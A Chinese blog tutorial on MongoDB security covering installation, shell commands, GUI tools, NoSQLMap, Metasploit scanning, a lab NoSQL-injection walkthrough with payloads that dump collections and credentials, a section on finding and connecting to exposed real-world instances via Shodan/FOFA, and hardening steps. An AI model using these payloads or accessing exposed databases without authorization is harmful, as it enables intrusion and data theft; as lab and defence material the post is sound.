数万字总结,建议慢慢看,数据库安全之MongoDB渗透

Mongo-Express RCE(CVE-2019-10758)复现排查 Mongo-express是的管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面。漏洞问题出在lib/bson.js中的toBSON()函数中,路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险。 阅读详情

本篇文章是MongoDB数据库信息泄露漏洞复现,记录了实际中常见的MongoDB数据库未授权访问漏洞并如何使用,主要分为七个部分:MongoDB简介、MongoDB安装、MongoDB基本操作、MongoDB相关工具使用、MongoDB漏洞复现、MongoDB实战和MongoDB防御措施。

一、MongoDB基本介绍

MongoDB是一个高性能,开源,无模式的 文档型数据库 ,是一个基于分布式文件存储的数据库,由C++编写。其中的数据以JSON格式文档的形式存储。MongoDB是一个介于关系数据库和非关系数据库之间的产品,是当前 NoSQL 数据库产品中最热门的一种。

MongoDB默认端口号:

27017:mongod和mongos实例的默认端口。

27018:设置--shardsvr运行变量或在配置文件里设置clusterRole为shardsvr时的默认端口

术语介绍:

SQL术语/概念

MongoDB术语/概念

解释/说明

database

database

数据库

table

collection

数据库表/集合

row

document

数据记录行/文档

column

field

数据字段/域

index

index

索引

Mongodb中每个数据库含有一个或多个集合collections(相当于table)

Mongodb中每个集合含有一个或多个文档document(相当于数据行)

文档Document是一组键值对,MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。文档简单例子:

{"username":"tom","password":"tom","email":"tom@gmail.com"}

MongoDB自带数据库:

admin: 从权限的角度来看,这是"root"数据库。要是将一个用户添加到这个数据库,这个用户自动继承所有数据库的权限。一些特定的服务器端命令也只能从这个数据库运行,比如列出所有的数据库或者关闭服务器。

local:这个数据永远不会被复制,可以用来存储限于本地单台服务器的任意集合

config: 当Mongo用于分片设置时,config数据库在内部使用,用于保存分片的相关信息。

漏洞成因:

MongoDB 未配置访问认证授权 ,无需认证连接数据库后对数据库进行任意操作(未授权访问漏洞),存在严重的数据泄露风险。默认情况下MongoDB安装后,没有账号密码且未开启权限验证。但不同版本的监听地址不同,3.0之前版本默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。

二、软件安装及环境搭建

1、MongoDB安装

MongoDB官网提供了32位、64位的预编译二进制包。选择最新版下载msi即可(截止到写这篇文章的时间,最新版本为4.4.5)

MongoDB下载地址:
https://www.mongodb.com/try/download/community

下载好后,拖进虚拟机,双击安装

1)选择安装类型

选择 Custom 自定义安装

2)修改MongoDB安装路径

3)服务配置

这里默认即可,Data Directory和Log Directory分别存放数据及日志文件信息

4)不勾选MongoDB Compass

在默认的安装下,该文件会自动安装。也可以不勾选 install MongoDB compass ,到官网上去安装。这里留到后面单独装。

等待片刻即可安装完成,遇到提示选择第一个即可。

2、MongoDB配置

bin目录结构

mongod.cfg 文件为Windows里的配置文件,在Linux中名字为 mongod.conf

设置允许远程连接

在 mongod.cfg 文件中将 bindIP 地址修改为 0.0.0.0 ,这样外部 IP 可以连接 MongoDB ,便于测试

# network interfaces
net:
port: 27017
bindIp: 0.0.0.0

配置环境变量

将 bin 目录配置进环境变量 C:\MongoDB\bin

测试是否配置成功,在cmd下直接输入mongo即可判断

配置文件启动

目的:将 mongodb 服务安装到 Windows 服务中,可以通过net命令进行开启和关闭

首先在 C:\MongoDB 目录下创建一个 mongodb.conf 文件(这个文件名和文件的路径随意,只要在mongodb目录下就行)

编辑该文件,配置相关信息,修改部分即可

#数据库路径
dbpath=c:\MongoDB\data\
#日志输出文件路径
logpath=c:\MongoDB\log\mongodb.log
#错误日志采用追加模式,配置这个选项后mongodb的日志会追加到现有的日志文件,而不是从新创建一个新文件
logappend=true
#启用日志文件,默认启用
journal=true
#这个选项可以过滤掉一些无用的日志信息,若需要调试使用请设置为false
quiet=false
#端口号 默认为27017
port=27017

然后在cmd中输入下面命令,命名该服务名为 mongodb

mongod --config c:\MongoDB\mongodb.conf --install --serviceName "mongodb"

验证是否配置成功

net stop mongodb
net start mongodb

参考下文第四点: Windows下图文详解Mongodb安装及配置

3、Kali 下MongoDB安装

1)导入MongoDB密钥

wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -

2)创建文件

echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list

3)更新软件包数据库

sudo apt-get update

4)安装MongoDB软件包

sudo apt-get install -y mongodb-org

4、Kali MongoDB服务配置

1)启动MongoDB服务

sudo systemctl start mongod
#查看端口信息
netstat -ntulp

2)检查服务状态

systemctl status mongod

3)停止MongoDB服务

systemctl stop mongod

4)重启MongoDB服务

systemctl restart mongod

5)设置允许远程连接可在远程访问该库信息

sudo vi /etc/mongod.conf

# 修改bindIP为0.0.0.0
​
# network interfaces
net:
port: 27017
bindIp: 0.0.0.0

6)Kali 卸载MongoDB

删除软件包:

sudo apt-get purge mongodb-org*

可以通过下面命令来查看这些软件包文件,也可以检测是否删除完成

locate monodb-org

删除数据目录:

sudo rm -r /var/log/mongodb
sudo rm -r /var/lib/mongodb

三、MongoDB基本操作

1、简单概念

MongoDB Shell 是 MongoDB 自带的交互式 Javascript shell ,用于对 MongoDB 进行操作和管理的交互式环境。进入到 MongoDB shell 后,直接在命令行窗口下输入 mongo 即可(前提是配置了环境变量),进入后默认连接到test(数据库)。由于自带交互式 Javascript shell ,可以直接在Mongo shell里进行一些简单的计算操作。

> 1+1
2
> 0x10+0x10
32

2、基本命令

1)查看数据库列表

show dbs

2)查看当前数据库

默认登陆后,当前数据库为test

db

3)创建数据库

use xiguadb

这里创建的xiguadb数据库并没有显示在dbs中,需要在xiguadb数据库中添加文档即可

4)插入数据

db.xiguadb.insert({"name":"john"})

插入文档后,dbs中显示了xiguadb数据库 注:这里文档是插入到名为xiguadb的集合中(自动创建的集合)

5)查看集合列表

当前数据库下的所有集合列表

show collections
show tables

在 MongoDB 中,不需要创建集合。当你插入一些文档时,MongoDB 会自动创建集合,一般同数据库名。

6)创建集合

db.createCollection("lanmei")

7)条件查询

先插入几条文档,再进行条件查询,pretty() 方法以格式化的方式来显示所有文档

db.lanmei.insert({"str":"kkk","id":"001"})
db.lanmei.insert({"num":"1234567","id":"002"})
​
db.lanmei.find({"num":"1234567"}).pretty()

文档插入后会自动添加一个 _id 属性,为唯一标识符

8)删除文档

db.lanmei.remove({"str":"kkk"})

删除键值对为str和kkk的文档

9)删除集合

db.lanmei.drop()

10)删除数据库

删除目前使用的数据库

db.dropDatabase()

11)用户登陆

mongo --host 192.168.112.177 --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"
或者
mongo -u mgtest -p 123.com localhost:27017/admin

四、MongoDB工具使用

1、MongoDB Compass安装

MongoDB compass 为 MongoDB 可视化工具,用于运维(可装可不装)

1)MongoDB Compass下载

在默认的安装下,该文件会自动安装。也可以不勾选 install MongoDB compass ,到官网上去安装 下载链接:
https://www.mongodb.com/download-center/compass

选择最新版下载文件即可(zip、msi均可)

2)MongoDB Compass msi文件安装

3)MongoDB Compass使用

启动进入程序后,点击Connect连接本地数据库

连接成功,可以看到本地MongoDB数据库信息

MongoDB Compass作为官方的一款可视化管理工具,使用体验还是挺不错的

2、Robo 3T工具

Robo 3T是一款免费、开源的MongoDB可视化管理工具。其前身为Robomongo,后被3T Software Labs收购更名为Robo 3T。

下载地址: https://robomongo.org/ 蓝奏云下载:
https://wwe.lanzoui.com/iV7hXo5baej

1)安装Robo 3T

下载好后,点击启动安装,默认下一步即可

2)启动Robo 3T,连接数据库

启动Robo 3T程序,在连接界面选择左上角的Create选项,地址填本地地址及端口,连接进入

3)查询数据库内容

这里以上面的演示的xiguadb数据库和lanmei集合为例。下图可以看到MongoDB数据库信息结构

db.lanmei.insert({"str":"kkk","id":"001"})
db.lanmei.insert({"num":"1234567","id":"002"})

在查询窗口中输入命令进行查询操作,可自行上手体验。

3、Navicat_MongoDB工具

Navicat for MongoDB 提供高效图形化界面,用于MongoDB 数据库的管理、开发和监控。它能连接本地或远程的 MongoDB服务器。

中文下载地址:
http://www.navicat.com.cn/products/navicat-for-mongodb 英文下载地址: https://navicat.com/en/products/navicat-for-mongodb

下载好安装程序后,默认下一步安装

安装路径默认

进入主页面后,选择连接,选择 MongoDB ,填连接名 mongo (这个名是随意填的)

之后操作轻松上手

4、NoSQLMap工具

NoSQLMap是一款免费、开源的基于python2的脚本工具,用于审计和自动注入攻击,并利用 NoSQL 数据库和 Web 应用程序中的默认配置弱点,使用 NoSQL 来披露或克隆数据库中的数据。是市面上为数不多的支持MongoDB数据库SQL注入的工具。

项目地址:
https://github.com/codingo/NoSQLMap

1)安装

python setup.py install

2)开启该工具

python nosqlmap.py

1-设置选项 2-NoSQL数据库访问攻击 3-NoSQL Web应用程序攻击 4-扫描匿名MongoDB访问 5-Change平台(目前:MongoDB) x-Exit

3)简单使用

选择1-设置选项

1-设置目标主机/IP(当前:未设置)
2-设置web应用端口(当前为80)
3-设置App路径(当前:未设置)
4-切换为HTTPS(当前关闭)
5-设置MongoDB端口(当前:27017)
6-设置HTTP请求方式(GET/POST) (Current: GET)
7-设置MongoDB/Shell本地IP(当前:未设置)
8-设置shell监听端口(当前:未设置)
9-设置详细模式(Current: OFF)
0-载入选项文件
a-从保存的Burp请求载入选项
b-保存选项文件
h-设置请求头
x-返回主菜单

这里以上面的mozhe靶场做演示,靶场地址为:
http://219.153.49.228:49818/new_list.php?id=1

填完相关配置项后,x返回主菜单,选择3NoSQL Web应用攻击

跑完一圈下来,注入全部失败。。

上手体验极差,毕竟这个脚本上次更新已经好久了,这款脚本比较鸡肋,还是手动注入行。

五、MongoDB漏洞复现

MongoDB在3版本以后并未出现RCE漏洞,一般的MongoDB漏洞基本上都是信息泄露之类的,所以要RCE还要和其余漏洞进行配合,下面介绍的漏洞也基本上是关于信息泄露的。

1、MSF渗透MongoDB

信息泄露

0x01 简介

MSF中提供了一些用于渗透测试的脚本,输入下面命令查看和mongodb相关的渗透脚本。可以看到MSF中并没有很多关于MongoDB的脚本,唯一一个exploit也是对应2.x版本的MongoDB,现在基本没啥用,图中最有用的就属mongodb_login脚本了,它是一个扫描脚本,用于扫描目标主机是否开启MongoDB服务的27017端口及是否存在未授权访问漏洞

search mongodb

0x02 脚本使用

以Win 2016上的MongoDB测试,其IP地址为:192.168.112.176,使用脚本mongodb_login,查看选项。

这个脚本一般就可以用于批量扫描MongoDB服务及未授权访问漏洞,可以进一步结合上面提及到的GUI管理工具(Compass、Robo 3T、Navicat)登陆进MongoDB查看到数据库信息造成信息泄露。

2、MongoDB数据库SQL注入漏洞

信息泄露

0x01 简介

复现地址:
https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe

SQL手工注入漏洞测试(MongoDB数据库),手工进行SQL注入测试,获取管理密码登录。

背景介绍:安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情地练习SQL手工注入吧。

附上源代码截图:

0x02 渗透过程

1)页面信息

进入靶场后,发现一个通知页面,在地址栏可以看到id参数,很有可能是注入点

2)引号简单测试

在最后面添加单引号进行测试,页面发生了变化,说明存在SQL注入漏洞

id=1%27

3)简单分析页面源代码

源代码重要部分:

# 查询语句,这里id值可控且没有经过过滤和限制
$query = "var data = db.notice.findOne({'id':'$id'}); return data;";
​
#打印出数据库中title字段和content字段信息
<?php echo $obj['retval']['title'] ?>
<?php echo $obj['retval']['content'] ?>

4)构造链接测试

id=1'}); return ({title:1,content:'test

4)爆库名

id=1'}); return ({title:tojson(db),content:'test
查询当前库名
db返回的是一个数组,回显为array,使用tojson()方法将其转为字符串类型

5)爆表名

查询当前库的所有集合

id=1'}); return ({title:tojson(db.getCollectionNames()),content:'test
getCollectionNames()以数组形式返回所有集合,需要使用tojson()方法转字符串格式

直接查询第1个集合名

id=1'}); return ({title:db.getCollectionNames()[0],content:'test

6)爆字段信息

可以爆出用户名和密码信息

id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'test

7)MD5解密

MD5加密:a83cd5ad5ed3e1c5597441aaab289f5c
解密后 dsansda

8)远程登陆

Linux:
mongo --host 219.153.49.228 -u "mozhe" --authenticationDatabase "mozhe" -p'dsansda'

使用Robo 3T

填入登陆用户及密码

登陆后获取Key即可,不过这里始终登不进去,该IP连接不到,这个应该是靶场的问题。

六、MongoDB实战

这部分主要是在网络搜索到一些存在未授权访问漏洞的MongoDB服务,查看到其数据,这部分较敏感,大致演示下即可

1)前往shodan、fofa等网络空间搜索引擎

输入关键字product:"MongoDB"进行搜索

2)随便看是否存在未授权访问漏洞

在MSF中进行扫描检测(国外的站)

3)Robo 3T连接未授权访问

经过多次测试,可以发现目前大部分暴露在网络上的存在未授权访问漏洞MongoDB服务都已经被"上锁"了,对于提升MongoDB的安全性,还需要一些防御措施

七、MongoDB防御措施

1、修改监听地址

在mongod.cfg文件中将监听IP地址改为指定IP或者本地IP(Linux下为mongod.conf文件)

# network interfaces
net:
port: 27017
bindIp: 127.0.0.1

2、启动基于角色的登录认证功能

MongoDB支持SCRAM、x.509证书认证等多种认证机制,SCRAM(Salted Challenge Response Authentication Mechanism)是3.x版本的默认认证机制,该机制通过用户名、密码验证,基于用户角色进行访问控制。

1)创建系统用户管理员

# 切换至admin数据库下
use admin
# 创建mgtest用户,密码为123.con
db.createUser(
{
user: "mgtest",
pwd: "123.com",
roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
}
)
​
# userAdminAnyDatabase: 赋予所有数据库的useradmin权限

2)在配置文件开启访问认证

对匿名登陆的用户进行权限限制,需要进行认证

vi /etc/mongod.conf
​
security:
authorization: enabled

重启MongoDB服务

3)系统用户登录

mongo --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"
或者
mongo -u mgtest -p 123.com localhost:27017/admin

远程登陆

mongo --host 192.168.112.177 --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"

4)安全性验证

如果这里以普通用户直接登陆,可以登陆进,但是没有权限。

使用MSF的mongodb_login模块也扫描不到该主机存在未授权访问漏洞

5)通过db.auth()方法认证

也在连接MongoDB时匿名登陆,连接成功后通过db.auth()方法进行认证

use admin
db.auth("mgtest","123.com")

八、总结

本文介绍了MongoDB的使用、MongoDB注入、未授权访问漏洞及防御措施,在MongoDB3.0以后的版本基本上就只存在未授权访问漏洞一种,并未RCE漏洞,也就是只存在信息泄露的可能,并不像其他数据库可以直接拿shell,在这方面MongoDB的安全性还是偏高的。

数万字总结,建议收藏慢慢看!数据库安全之MongoDB渗透 本篇文章是MongoDB数据库信息泄露漏洞复现,记录了实际中常见的MongoDB数据库未授权访问漏洞并如何使用,主要分为七个部分:MongoDB简介、MongoDB安装、MongoDB基本操作、MongoDB相关工具使用、MongoDB漏洞复现、MongoDB实战和MongoDB防御措施。 一、MongoDB基本介绍 MongoDB是一个高性能,开源,无模式的文档型数据库,是一个基于分布式文件存储的数据库,由C++编写。其中的数据以JSON格式文档的形式存储。MongoDB是一个介于关系数据库和非关.. 阅读详情

相关推荐

渗透测试必备:50个关键默认端口攻击面详解与实战指南

在网络安全领域,端口是网络服务与外界通信的入口,理解其背后的服务与潜在风险是安全评估的基础。默认端口作为各类服务的标准监听点,其识别与关联分析构成了信息收集与漏洞评估的核心原理。掌握常见默认端口对应的服务、配置弱点及历史漏洞,能极大提升渗透测试与安全防御的技术价值,帮助安全人员快速勾勒目标攻击面。无论是面向公网的Web服务、数据库,还是用于内网管理的远程协议,这些端口往往关联着弱口令、未授权访问、配置错误等高危应用场景。本文基于渗透测试与漏洞挖掘的实践需求,系统梳理了包括**MySQL**、**Redis*

weixin_34080571的博客 415

mongo DB数据库bindIP的配置和我的理解(bindIP不是应用服务器的IP)

overleaf用的是mongodb,我本来准备用docker来部署的,后来一想干脆作罢,就正常安装数据库,然后配置mongoDB仅仅允许在局域网访问嘛(因为三个机器都是在一个VPC里面,测试了一下互相也ping的通!一台主机可以有多个 IP 地址,多个网卡的且不提,单个网卡的还分别有 127.0.0.1(即回环地址)、子网地址(如同时处在多个子网下则子网地址也不唯一)、公网地址。怎么都启动不了,我找了一堆官网的解答,最后。就是远程的访问的ip地址嘛,那就是配置为我的应用服务器的IP地址了?

Musicminion的博客 5579

Web渗透攻击链全解析:从信息收集到权限提升的攻防实战

Web安全的核心在于理解攻击者的思维与行动模式。从基础概念来看,网络安全本质上是攻击与防御的动态博弈,攻击者遵循一套结构化的流程,即攻击链。其技术原理通常始于信息收集,利用公开情报和扫描工具绘制目标数字地图;进而通过漏洞扫描与利用,针对SQL注入、文件上传等常见弱点实施突破;最终实现权限提升与横向移动,达成攻击目标。这种攻击链思维的价值在于,它揭示了防御体系的薄弱环节,帮助安全从业者构建纵深防御体系。在实际应用场景中,无论是企业安全建设还是个人开发者防护,理解攻击链都能有效指导安全策略的制定。本文聚焦Web

367

mongoDB默认端口无法远程连接

1.netstat -ano 发现27017端口在127.0.0.1上,想更改到0.0.0.0上 2.更改端口号为27018 cmd:mongod --port 27018 但是更改失败 3.在配置文件中更改后,服务无法启动,命令删除服务sc delete MongoDB,重新添加后服务启动成功mongod --install -f D:\MongoDB\Server\3.6\mongod.conf,但本地27018无法连接,改回27017后可以连接 4.后来再用netstat -ano 查看发现2701

Zola的博客 1187

OpenVAS扫描优化实战:从耗时低效到精准高效的配置调优指南

漏洞扫描是网络安全评估与风险管理的核心环节,其原理是通过模拟攻击行为,系统性地探测目标网络、主机及应用中存在的安全弱点。在开源领域,OpenVAS凭借其强大的插件生态和持续更新的漏洞库,成为企业安全基础设施中的重要工具。然而,其默认配置往往追求全面性,在实际工程实践中易导致扫描耗时过长、资源占用高、结果噪音大等问题,影响安全运营效率。本文聚焦于OpenVAS的深度优化,通过解析扫描策略、并发控制、插件精选等核心参数,将通用工具转化为贴合具体业务场景的精准利器。内容涵盖如何构建分层扫描策略以平衡速度与深度,如

weixin_34197488的博客 466

网络安全入门:从漏洞挖掘到职业发展的完整路径与实战指南

网络安全的核心在于理解系统漏洞的成因与防御机制。漏洞挖掘作为安全领域的基础实践,其本质是通过系统化的方法发现并验证软件或系统中的安全缺陷。从技术原理层面看,这需要扎实的网络协议、操作系统和编程基础,以理解攻击面与利用链。掌握漏洞挖掘不仅能验证安全技能,更能培养系统性安全思维,对构建企业安全防护体系具有重要价值。在应用场景上,无论是渗透测试、漏洞赏金还是安全开发,都离不开对SQL注入、XSS、SSRF等核心漏洞的深入理解。随着AI技术在代码审计和模糊测试中的应用,漏洞挖掘的效率正不断提升。本文结合行业实践,系

迷彩风情 357

万字总结,建议收藏慢慢看!数据库安全之MongoDB渗透!,JDK8中HashMap依然会产生死循环问题

手绘了下图所示的kafka知识大纲流程图(xmind文件不能上传,导出图片展现),但都可提供源文件给每位爱学习的朋友,这个应该是靶场的问题。自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。深知大多数Java工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

777

Google Dorks与Wayback Machine:被动信息收集与数字资产安全审计实战

在网络安全领域,信息收集是风险评估与渗透测试的基石,其核心在于高效发现暴露的敏感数据。搜索引擎高级语法(如Google Dorks)通过特定运算符组合,能精准定位互联网上因配置错误或疏忽而公开的配置文件、备份文件、管理后台及API密钥等,其原理是利用爬虫对公开可访问内容的无差别索引。这种被动侦察技术不直接与目标交互,却能极大拓展攻击面认知,在漏洞挖掘、攻击链前置和防御性自查中具有极高价值。结合互联网档案馆(Wayback Machine)的历史网页快照,安全人员可以追溯已被删除或修改的敏感信息,形成“现状侦

weixin_30443731的博客 441

bindIP: 0.0.0.0

https://segmentfault.com/q/1010000021384807 最基本的 TCP/IP 里 Socket(套接字)五元组概念,这个了解吗?不了解的话说明上学的时候没好好听课。 bind 指定的是其中二元,即本机地址和本机端口。一台主机可以有多个 IP 地址,多个网卡的且不提,单个网卡的还分别有 127.0.0.1(即回环地址)、子网地址(如同时处在多个子网下则子网地址也不唯一)、公网地址。 0.0.0.0 实际等效于通配符 *,代表任意地址。 修改 bind 即代表对五元组做出限制。

xiaohuangren_123的博客 1947

手机OIS马达拆解:从苹果的悬丝到三星的滚珠,不同方案如何影响你的拍照体验?

本文深度解析手机OIS马达技术,对比苹果悬丝式、三星滚珠式和LG记忆合金式三种主流方案的机械原理与成像体验差异。通过详实的数据和测试结果,揭示不同OIS技术如何影响防抖性能、模组厚度及长期可靠性,为摄影爱好者和技术爱好者提供实用选购建议。

weixin_42554408的博客 309

Python语言在工业控制中的简单应用

在工业控制中,经常需要对采集到的数据进行分析和处理,Python的这些库可以简化这一过程。传统的工业控制系统多依赖于专用的控制硬件和软件,但随着技术的发展,开放性和灵活性成为了新的需求焦点。还有,Python社区活跃,提供了大量的开源代码和模块,这对于工业控制领域来说是一个巨大的资产。Python作为一种高级编程语言,因其简洁的语法、强大的库支持和广泛的社区资源而在工业界获得了快速的发展和广泛的应用。在工业控制领域,Python的应用日益增多,这得益于其跨平台性、脚本语言的灵活性以及与硬件设备交互的能力。

2303_78014702的博客 1722

MongoDB - MongoDB在物联网项目中的应用:处理海量传感器数据

本文探讨了MongoDB在物联网项目中处理海量传感器数据的优势与实践。首先分析了物联网数据的"4V"特征(海量、高速、多样、多源)及传统关系型数据库的局限性。然后重点介绍了MongoDB 6.0+的原生时间序列集合特性,它能自动聚合时间相近的数据到桶中,显著提升存储效率和查询性能。文章提供了Spring Boot集成MongoDB的完整代码示例,包括集合创建、数据写入和查询优化策略。通过灵活文档模型、高吞吐写入、时间序列支持和水平扩展等特性,MongoDB成为处理物联网时序数据的理想选择

千淘万漉虽辛苦,吹尽狂沙始到金 2万+

扫码器USB键盘报告描述符数据格式解析

Byte0用于判断Shift是否按下,当按下时Byte0的Bit1会置1,即0x02,若未按下,Bit为0,即0x00。0x00 0x00 0x00 0x00 0x00 0x00 0x00--->>未按下Shift。0x00 0x00 0x00 0x00 0x00 0x00 0x00--->>按下Shift。0x00 0x04 0x00 0x00 0x00 0x00 0x00--->>输出A。0x00 0x04 0x00 0x00 0x00 0x00 0x00--->>输出a。

m0_65548585的博客 1142

渗透测试入门指南:从零基础到实战攻防的核心流程与靶场实践

网络安全的核心在于主动发现并修复系统弱点,渗透测试正是实现这一目标的关键技术。其原理是通过模拟真实攻击者的行为,在授权范围内对目标系统进行安全评估,旨在识别潜在漏洞并评估业务风险。这项技术的价值在于将安全防护从被动响应转向主动防御,帮助企业在遭受实际攻击前加固防线。在应用场景上,渗透测试广泛应用于金融、互联网、政府及企业内网的安全评估与合规审计。无论是Web应用、移动端还是复杂的网络架构,渗透测试都能提供针对性的风险洞察。本文聚焦于渗透测试的完整流程,涵盖信息收集、漏洞扫描、漏洞利用与权限提升等核心环节,并

weixin_33981932的博客 387

三大主流交易接口实战指南:XTP、CTP与数字货币API的实盘接入解析

本文深入解析了量化交易系统实现实盘交易的关键环节,聚焦于三大主流交易接口的实战接入。详细介绍了证券领域的XTP、期货领域的CTP以及数字货币交易所API的核心特性、代码封装要点与风控实践,并提供了多市场接口整合的统一架构方案,为开发者打通量化交易的“最后一公里”提供了一份接地气的实战指南。

win55的博客 1379

NuPlayer 之 Renderer

触发postDrainAudioQueue_l()或postDrainVideoQueue()开始渲染。解码器输出数据 → NuPlayer::Decoder::onMessageReceived。音频数据存入mAudioQueue,视频数据存入mVideoQueue。• 每次写入后通过mNotifyConsumed通知解码器。• 通过AudioSink::write()写入音频设备。• 根据VSync信号和音频时钟调整渲染时机。• 通过Surface直接提交给显示系统。

aningxiaoxixi的博客 317

Findomain终极指南:快速发现子域名的完整解决方案

想要快速发现目标域名的所有子域名吗?**Findomain**就是您需要的终极工具!作为一款基于Rust开发的高性能子域名扫描工具,Findomain能够在短短几秒钟内扫描出数万个子域名,是网络安全研究人员和渗透测试人员的得力助手。 ## 🔍 Findomain能为您做什么? 想象一下,您正在为一个大型企业进行安全评估,需要找出所有相关的子域名。传统方法可能需要数小时甚至数天,但使用Find

gitblog_02225的博客 778

蓝牙调试抓包工具--nRF Connect移动端 使用详细总结

摘要: nRF Connect移动端是一款功能全面的蓝牙低功耗(BLE)调试工具,支持设备扫描、多设备连接、服务/特征值查看及数据读写操作。核心功能包括实时数据通信(读取/写入/通知)、设备固件更新(DFU)以及高级工具如自动化测试和信号分析。兼容Android 4.3+和iOS设备,适用于开发调试(如ESP32/nRF52)、设备管理和数据分析。需注意设备兼容性问题(如旧安卓设备可能需关闭连续扫描),并确保数据类型匹配。配套工具链包括nRF Toolbox和nRF Connect SDK,是BLE开发的必

AIoT深度探索者 | 嵌入式系统架构师 深耕物联网(IoT)与人工智能(AI)融合技术,聚焦​​边缘计算、图像开发、低功耗通信协议​​,致力于智能硬件,关注我获取最新技术文章信息与海量资源~ 2390

Python构建自动化渗透测试结果分析与可视化系统实战

在网络安全领域,数据分析与可视化是理解复杂安全态势、提炼有效行动洞察的核心技术。其基本原理在于通过数据采集、解析、存储、聚合与呈现的完整流程,将多源异构的日志与报告转化为结构化的信息。这项技术的核心价值在于极大提升了安全运营效率,使工程师能从海量告警中快速定位关键风险,实现从被动响应到主动感知的转变。典型的应用场景包括自动化渗透测试结果分析、攻击面评估、红蓝对抗演练以及安全态势监控。本文聚焦于利用Python生态中的Pydantic、Streamlit、Pandas等工具,构建一个能够处理Nmap、Dirs

weixin_30279671的博客 280

接口电路设计的关键要点

接口电路设计是嵌入式硬件开发的核心环节,本文系统阐述了五大关键设计要点:1)电平匹配技术,详细分析了3.3V/5V系统互连方案及转换电路计算;2)阻抗匹配原理,包括高速信号反射机制及差分信号处理;3)滤波与去耦设计,提出多级电容配置和"先电容后过孔"布局原则;4)接地设计规范,重点说明模拟/数字地分离及高速信号回流路径;5)防护电路设计,涵盖防反接、过流保护及ESD防护方案。文章通过具体计算公式、器件选型指南和布局技巧,为接口电路设计提供了系统化的解决方案,并附有设计检查清单和典型问题分

weiyvyy的博客 454

拿下华为性格测试!

华为性格测试指南

weixin_41171614的博客 5287

Bug Bounty 挖漏洞全攻略:Hacking-Cheatsheets 6 阶段方法论详解

想在 Bug Bounty 赏金平台上稳定挖到漏洞,靠的不是运气,而是一套可复用的漏洞挖掘方法论。本文基于开源项目 Hacking-Cheatsheets 中的 Bug Bounty 方法论速查表,带你完整拆解从子域名枚举到目录深度挖掘的 6 阶段攻击流程,并附上漏洞报告模板与实用技巧,帮助新手快速建立系统化的渗透测试工作流。 ## 为什么新手需要 Bug Bounty 方法论? 很多初学者第

gitblog_00830的博客 194

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

网络安全实战:从漏洞挖掘到修复的闭环工具链与工程实践

网络安全的核心在于构建从威胁发现到风险处置的完整闭环。理解漏洞的概念与原理是基础,它本质上是系统或软件中存在的安全缺陷,可被攻击者利用以破坏机密性、完整性或可用性。其技术价值在于,有效的漏洞管理能直接降低企业被入侵和数据泄露的风险,是纵深防御体系的关键环节。应用场景广泛覆盖了从互联网公司到传统企业的各类IT资产保护。本文聚焦于实现这一闭环的工程实践,系统梳理了侦察、扫描、渗透、修复四大阶段的核心工具链,并深入探讨了如何将漏洞修复从被动任务转化为主动安全价值,其中涉及自动化修复、云平台工具集成等关键热词,以及

weixin_30765577的博客 394

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

如何用DeepFace快速搭建企业级人脸识别系统:从零到一的完整指南

你是否曾经想过,如何在自己的应用中快速集成强大的人脸识别功能?无论是开发智能门禁系统、构建个性化推荐引擎,还是实现精准的用户身份验证,DeepFace都能为你提供一站式解决方案。这个轻量级的Python人脸识别和面部属性分析库,让复杂的人工智能技术变得触手可及。今天,我将带你深入了解DeepFace的核心功能,并分享如何利用它快速构建企业级人脸识别应用。 ## 为什么选择DeepFace?🤔

gitblog_00098的博客 1002

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

金融安全资讯精选 2017年第六期:阿里云等3家单位具备CNVD技术组成员单位资格,反欺诈和身份管理是AI安全最热两大创业领域,互金安全负责人的安全建设心得...

【金融安全动态】 阿里云等3家单位具备CNVD技术组成员单位资格。点击查看原文 点评:试行考察期间,阿里云公司持续向CNVD共享其主办的先知平台收集的高质量通用软硬件漏洞信息200余条,同时持续开展公开漏洞信息报送工作,共计提交140余条。成为CNVD技术组成员单位,意味着获评对象已经达到国家级指定漏洞研判、挖掘专业团队资质,具...

weixin_34101784的博客 225

分布式系统中间件技术解析与优化实践

中间件作为分布式系统的核心组件,通过标准化通信协议和功能封装,有效解耦系统模块并提升开发效率。其技术原理涵盖消息队列(如RabbitMQ的AMQP协议)、数据存储(如Redis的跳跃表)等多种实现方式,在金融交易、物联网等高并发场景中发挥关键作用。现代中间件技术通过Kafka集群优化、Redis多级缓存等工程实践,可显著提升系统吞吐量与稳定性。随着云原生发展,Service Mesh和Serverless架构正在重塑中间件的应用范式,为分布式系统设计带来新的可能性。

weixin_32932149的博客 284
上一篇: 直击灵魂一问:协程到底是怎么切换线程的?
下一篇: 主流的四种限流策略,我都可以通过redis实现
JavaShark
博客等级 码龄4年 184粉丝 438原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

